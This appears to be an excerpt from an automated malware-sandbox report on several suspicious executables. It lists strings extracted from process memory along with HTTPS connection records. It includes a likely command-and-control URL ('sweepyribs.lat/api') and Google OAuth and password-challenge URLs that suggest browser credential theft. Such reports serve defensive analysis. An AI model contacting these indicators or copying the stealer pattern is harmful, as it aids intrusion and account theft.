Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp, 7847e34378.exe, 0000000B.00000003.2947841975.0000000005AB1000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2926751775.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2927075575.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2949245723.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 3275f9fb1e.exe, 00000010.00000003.2927075575.0000000005D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp, 7847e34378.exe, 0000000B.00000003.2947841975.0000000005AB1000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2926751775.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2927075575.0000000005D87000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2949245723.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 3275f9fb1e.exe, 00000010.00000003.2927075575.0000000005D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sweepyribs.lat:443/api
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000003.3026277382.000001CEBD532000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3020548077.000001CEBD536000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3010226827.0000000005D43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000003.3023503720.000001CEBD8EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 3275f9fb1e.exe, 00000010.00000003.2917384800.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2916274137.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.2915145411.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001B.00000003.2880026736.000001CEB511F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2880641460.000001CEB513C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881980919.000001CEB5177000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2881494322.000001CEB515A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879430180.000001CEB4F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000025.00000003.2982529124.0000421400280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/about/----DAECFIJDAAAKECBFCGHIst.exe
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/about/JJKKEBGDBAAK
Source: 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lXy50eHQ=host.exe
Source: 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 7847e34378.exe, 0000000B.00000003.3135304059.000000000BD49000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp, firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3041968406.00000241686C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/40
Source: firefox.exe, 0000001F.00000002.3040562171.0000026EE5BB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.3041442329.00000241684C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.3041125308.0000026EE5DCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/US
Source: 7847e34378.exe, 0000000B.00000003.3135304059.000000000BD49000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3007651309.00000000060E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 7847e34378.exe, 0000000B.00000002.3259779000.0000000000F57000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 0000001B.00000003.3022453215.000001CEBD898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001B.00000003.3022453215.000001CEBD898000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000024.00000002.3041968406.0000024168603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000024.00000002.3046213695.0000024168780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 0000001A.00000002.2850847686.000001E7B69C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3038938549.0000026EE5AF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3039894233.0000026EE5B84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3038938549.0000026EE5AFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3046213695.0000024168784000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3040990742.0000024168480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3040990742.000002416848A000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 00000027.00000003.3145857942.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 00000027.00000003.3144903908.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 00000027.00000003.3146760865.0000000000DDB000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 00000027.00000003.3121723022.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 00000027.00000002.3154604590.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 00000027.00000002.3153165312.0000000000DE2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2833173854.000001FD78310000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850847686.000001E7B69CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: 59f3adca26.exe, 0000000D.00000002.2915212736.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd4
Source: firefox.exe, 0000001F.00000002.3038938549.0000026EE5AF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3039894233.0000026EE5B84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3046213695.0000024168784000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3040990742.0000024168480000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945

Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.131.246:443 -> 192.168.2.4:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.4:50092 version: TLS 1.2

